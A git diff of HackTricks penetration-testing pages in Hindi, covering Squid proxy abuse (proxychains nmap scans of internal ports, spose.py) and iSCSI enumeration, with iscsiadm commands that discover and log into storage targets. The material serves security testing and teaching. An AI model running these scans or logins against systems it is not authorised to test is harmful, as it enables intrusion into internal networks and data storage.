# Try to proxify curl
|
||||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||||
```
|
```
|
||||||
## Nmap प्रॉक्सीकृत
|
## Nmap proxified
|
||||||
|
|
||||||
आप प्रॉक्सी का दुरुपयोग करके **एनमैप के माध्यम से आंतरिक पोर्ट स्कैन करने** की कोशिश भी कर सकते हैं।\
|
आप प्रॉक्सी का दुरुपयोग करके **nmap को proxifying करते हुए आंतरिक पोर्ट स्कैन** करने की कोशिश कर सकते हैं।\
|
||||||
proxichains.conf फ़ाइल के अंत में निम्नलिखित पंक्ति जोड़कर स्क्विड प्रॉक्सी का उपयोग करने के लिए प्रॉक्सीचेन्स को कॉन्फ़िगर करें: `http 10.10.10.10 3128`
|
proxychains को squid प्रॉक्सी का उपयोग करने के लिए कॉन्फ़िगर करें, proxichains.conf फ़ाइल के अंत में निम्नलिखित पंक्ति जोड़ें: `http 10.10.10.10 3128`\
|
||||||
प्रमाणीकरण की आवश्यकता वाले प्रॉक्सी के लिए, उपयोगकर्ता नाम और पासवर्ड को समाविष्ट करके कॉन्फ़िगरेशन में जोड़ें: `http 10.10.10.10 3128 उपयोगकर्ता पासवर्ड`।
|
प्रॉक्सी जो प्रमाणीकरण की आवश्यकता होती है, उनके लिए कॉन्फ़िगरेशन में क्रेडेंशियल्स जोड़ें, उपयोगकर्ता नाम और पासवर्ड को अंत में शामिल करके: `http 10.10.10.10 3128 username passw0rd`।
|
||||||
|
|
||||||
फिर लोकल से होस्ट को स्कैन करने के लिए proxychains के साथ nmap चलाएं: `proxychains nmap -sT -n -p- localhost`
|
फिर स्थानीय से **होस्ट को स्कैन करने के लिए nmap को proxychains के साथ चलाएँ**: `proxychains nmap -sT -n -p- localhost`
|
||||||
|
|
||||||
## SPOSE स्कैनर
|
## SPOSE Scanner
|
||||||
|
|
||||||
वैकल्पिक रूप से, Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) का उपयोग किया जा सकता है।
|
वैकल्पिक रूप से, Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) का उपयोग किया जा सकता है।
|
||||||
```bash
|
```bash
|
||||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,45 +1,46 @@
|
||||||
# 3260 - पेंटेस्टिंग ISCSI
|
# 3260 - Pentesting ISCSI
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
[Wikipedia](https://en.wikipedia.org/wiki/ISCSI) से:
|
From [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||||
|
|
||||||
> कंप्यूटिंग में, **iSCSI** एक लघु कंप्यूटर सिस्टम इंटरफेस के लिए **इंटरनेट स्मॉल कंप्यूटर सिस्टम इंटरफेस** का एक एक्रोनिम है, एक इंटरनेट प्रोटोकॉल (IP) आधारित स्टोरेज नेटवर्किंग मानक है जो डेटा स्टोरेज सुविधाओं को जोड़ने के लिए है। यह एक TCP/IP नेटवर्क पर SCSI कमांड्स को ले जाकर स्टोरेज उपकरणों के लिए ब्लॉक स्तरीय पहुंच प्रदान करता है। iSCSI का उपयोग इंट्रानेट पर डेटा स्थानांतरण को सुविधाजनक बनाने और दूरी को प्रबंधित करने के लिए किया जाता है। इसका उपयोग स्थानीय क्षेत्र नेटवर्क (LANs), व्यापक क्षेत्र नेटवर्क (WANs), या इंटरनेट पर डेटा स्थानापन्न भंडारण और पुनर्हासिल करने के लिए किया जा सकता है।
|
> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, एक इंटरनेट प्रोटोकॉल (IP)-आधारित स्टोरेज नेटवर्किंग मानक जो डेटा स्टोरेज सुविधाओं को लिंक करता है। यह TCP/IP नेटवर्क पर SCSI कमांड ले जाकर स्टोरेज डिवाइस तक ब्लॉक-स्तरीय पहुंच प्रदान करता है। iSCSI का उपयोग डेटा ट्रांसफर को सुविधाजनक बनाने और लंबी दूरी पर स्टोरेज प्रबंधन के लिए किया जाता है। इसका उपयोग स्थानीय क्षेत्र नेटवर्क (LANs), वाइड एरिया नेटवर्क (WANs), या इंटरनेट पर डेटा ट्रांसमिट करने के लिए किया जा सकता है और यह स्थान-स्वतंत्र डेटा स्टोरेज और पुनर्प्राप्ति को सक्षम कर सकता है।
|
||||||
>
|
>
|
||||||
> इस प्रोटोकॉल की अनुमति देता है क्लाइंट्स (जिन्हें आरंभक कहा जाता है) को दूरस्थ सर्वरों पर स्टोरेज उपकरणों (टारगेट्स) को SCSI कमांड्स (CDBs) भेजने के लिए। यह एक स्टोरेज क्षेत्र नेटवर्क (SAN) प्रोटोकॉल है, जो संगठनों को स्टोरेज को स्टोरेज एरे में समेकित करने की अनुमति देता है जबकि क्लाइंट्स (जैसे डेटाबेस और वेब सर्वर) को स्थानिक रूप से जुड़े हुए SCSI डिस्क का भ्रांति प्रदान करता है। यह मुख्य रूप से फाइबर चैनल के साथ प्रतिस्पर्धा करता है, लेकिन पारंपरिक रूप से फाइबर चैनल जो आम तौर पर समर्पित केबलिंग की आवश्यकता होती है, iSCSI को मौजूदा नेटवर्क ढांचे का उपयोग करके दूरी के लिए चलाया जा सकता है।
|
> प्रोटोकॉल क्लाइंट (जिन्हें इनिशिएटर्स कहा जाता है) को दूरस्थ सर्वरों पर स्टोरेज डिवाइस (टारगेट्स) को SCSI कमांड (CDBs) भेजने की अनुमति देता है। यह एक स्टोरेज एरिया नेटवर्क (SAN) प्रोटोकॉल है, जो संगठनों को स्टोरेज को स्टोरेज एरे में समेकित करने की अनुमति देता है जबकि क्लाइंट (जैसे डेटाबेस और वेब सर्वर) को स्थानीय रूप से जुड़े SCSI डिस्क का भ्रम प्रदान करता है। यह मुख्य रूप से फाइबर चैनल के साथ प्रतिस्पर्धा करता है, लेकिन पारंपरिक फाइबर चैनल के विपरीत, जिसे आमतौर पर समर्पित केबलिंग की आवश्यकता होती है, iSCSI को मौजूदा नेटवर्क अवसंरचना का उपयोग करके लंबी दूरी पर चलाया जा सकता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 3260
|
**Default port:** 3260
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
3260/tcp open iscsi?
|
3260/tcp open iscsi?
|
||||||
```
|
```
|
||||||
## जाँच परिक्षण
|
## गणना
|
||||||
```
|
```
|
||||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||||
```
|
```
|
||||||
यह स्क्रिप्ट संकेतित करेगा कि प्रमाणीकरण की आवश्यकता है।
|
यह स्क्रिप्ट यह संकेत करेगी कि क्या प्रमाणीकरण की आवश्यकता है।
|
||||||
|
|
||||||
### [ब्रूट फोर्स](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||||
|
|
||||||
### [Linux पर ISCSI माउंट करें](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
### [Mount ISCSI on Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||||
|
|
||||||
**नोट:** आपको यह पता चल सकता है कि जब आपके लक्ष्य मिल जाते हैं, तो वे एक विभिन्न आईपी पते के तहत सूचीबद्ध होते हैं। यह घटना उस समय होती है जब iSCSI सेवा NAT या एक आधारभूत आईपी के माध्यम से अनावृत होती है। इन जैसे मामलों में, `iscsiadmin` कनेक्ट करने में विफल हो जाएगा। इसके लिए दो समायोजनों की आवश्यकता होती है: एक तो नोड द्वारा स्वचालित रूप से बनाए गए निर्देशिका के नाम को और एक डायरेक्टरी में शामिल `default` फ़ाइल को।
|
**Note:** आप देख सकते हैं कि जब आपके लक्ष्यों का पता लगाया जाता है, तो वे एक अलग IP पते के तहत सूचीबद्ध होते हैं। यह तब होता है जब iSCSI सेवा NAT या एक आभासी IP के माध्यम से उजागर होती है। ऐसे मामलों में, `iscsiadmin` कनेक्ट करने में विफल रहेगा। इसके लिए दो समायोजन की आवश्यकता होती है: एक आपके खोज गतिविधियों द्वारा स्वचालित रूप से बनाए गए नोड के निर्देशिका नाम में, और एक इस निर्देशिका में मौजूद `default` फ़ाइल में।
|
||||||
|
|
||||||
उदाहरण के लिए, आप 123.123.123.123 पर पोर्ट 3260 पर iSCSI लक्ष्य से कनेक्ट करने की कोशिश कर रहे हैं। iSCSI लक्ष्य को अनावृत करने वाला सर्वर वास्तव में 192.168.1.2 पर है लेकिन NAT के माध्यम से अनावृत है। isciadm निजी पते को पंजीकृत करेगा न कि सार्वजनिक पते को:
|
उदाहरण के लिए, आप 123.123.123.123 पर पोर्ट 3260 पर एक iSCSI लक्ष्य से कनेक्ट करने की कोशिश कर रहे हैं। iSCSI लक्ष्य को उजागर करने वाला सर्वर वास्तव में 192.168.1.2 पर है लेकिन NAT के माध्यम से उजागर किया गया है। isciadm _आंतरिक_ पते को _सार्वजनिक_ पते के बजाय पंजीकृत करेगा:
|
||||||
```
|
```
|
||||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||||
|
@ -49,43 +50,43 @@ iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||||
```
|
```
|
||||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||||
```
|
```
|
||||||
डायरेक्टरी के अंदर, सभी सेटिंग्स के साथ एक डिफ़ॉल्ट फ़ाइल है जो लक्षित से कनेक्ट करने के लिए आवश्यक है।
|
डायरेक्टरी के भीतर, एक डिफ़ॉल्ट फ़ाइल है जिसमें लक्षित से कनेक्ट करने के लिए सभी आवश्यक सेटिंग्स हैं।
|
||||||
|
|
||||||
1. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` को `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` में नाम बदलें।
|
1. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` का नाम बदलकर `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` करें।
|
||||||
2. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` के अंदर, `node.conn[0].address` सेटिंग को 192.168.1.2 की बजाय 123.123.123.123 पर पॉइंट करने के लिए बदलें। इसे निम्नलिखित कमांड के साथ किया जा सकता है: `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
2. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` के भीतर, `node.conn[0].address` सेटिंग को 192.168.1.2 के बजाय 123.123.123.123 की ओर इंगित करने के लिए बदलें। यह `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` जैसे कमांड के साथ किया जा सकता है।
|
||||||
|
|
||||||
अब आप लिंक में निर्देशों के अनुसार लक्षित को माउंट कर सकते हैं।
|
आप अब लिंक में दिए गए निर्देशों के अनुसार लक्षित को माउंट कर सकते हैं।
|
||||||
|
|
||||||
### [Windows पर ISCSI माउंट करें](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
### [Windows पर ISCSI माउंट करें](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||||
|
|
||||||
## **मैन्युअल गणना**
|
## **मैनुअल एन्यूमरेशन**
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install open-iscsi
|
sudo apt-get install open-iscsi
|
||||||
```
|
```
|
||||||
उदाहरण [iscsiadm दस्तावेज़](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
Example from [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||||
|
|
||||||
सबसे पहले आपको IP के पीछे **लक्ष्यों का पता लगाना** होगा:
|
सबसे पहले आपको **लक्ष्यों** के नाम को IP के पीछे **खोजने** की आवश्यकता है:
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||||
```
|
```
|
||||||
_ध्यान दें कि यह आपको उन इंटरफेस के आईपी और पोर्ट दिखाएगा जहाँ आप उन लक्ष्यों तक पहुंच सकते हैं। यह आपको आंतरिक आईपी या विभिन्न आईपी भी दिखा सकता है जो आपने उपयोग किया है।_
|
_ध्यान दें कि यह उन **लक्ष्यों** तक पहुँचने के लिए **इंटरफेस** का I**P और पोर्ट** दिखाएगा। यह यहां तक कि **आंतरिक IPs या आपके द्वारा उपयोग किए गए IP से अलग IPs** भी दिखा सकता है।_
|
||||||
|
|
||||||
फिर आप **प्रिंटेड स्ट्रिंग के पहले हिस्से का दूसरा हिस्सा पकड़ें** (_पहली पंक्ति से iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_) और **लॉगिन करने की कोशिश करें**:
|
फिर आप **प्रत्येक पंक्ति के मुद्रित स्ट्रिंग के 2nd भाग को पकड़ते हैं** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ पहले पंक्ति से) और **लॉगिन करने की कोशिश करते हैं**:
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||||
```
|
```
|
||||||
फिर, आप `–logout` का उपयोग करके **लॉगआउट** कर सकते हैं।
|
फिर, आप `–logout` का उपयोग करके **logout** कर सकते हैं।
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||||
```
|
```
|
||||||
हम इसके बारे में **अधिक जानकारी** पा सकते हैं बस **किसी भी** `--login`/`--logout` पैरामीटर का उपयोग किए बिना
|
हम इसके बारे में **अधिक जानकारी** प्राप्त कर सकते हैं बस **बिना** किसी `--login`/`--logout` पैरामीटर का उपयोग किए।
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||||
# BEGIN RECORD 2.0-873
|
# BEGIN RECORD 2.0-873
|
||||||
|
@ -161,27 +162,28 @@ node.conn[0].iscsi.IFMarker = No
|
||||||
node.conn[0].iscsi.OFMarker = No
|
node.conn[0].iscsi.OFMarker = No
|
||||||
# END RECORD
|
# END RECORD
|
||||||
```
|
```
|
||||||
**एक स्क्रिप्ट है जो बुनियादी सबनेट जाँच प्रक्रिया को स्वचालित करने के लिए उपलब्ध है** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
**बुनियादी सबनेट एन्यूमरेशन प्रक्रिया को स्वचालित करने के लिए एक स्क्रिप्ट उपलब्ध है** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||||
|
|
||||||
## **Shodan**
|
## **Shodan**
|
||||||
|
|
||||||
* `port:3260 AuthMethod`
|
* `port:3260 AuthMethod`
|
||||||
|
|
||||||
## **संदर्भ**
|
## **References**
|
||||||
|
|
||||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,70 +1,74 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
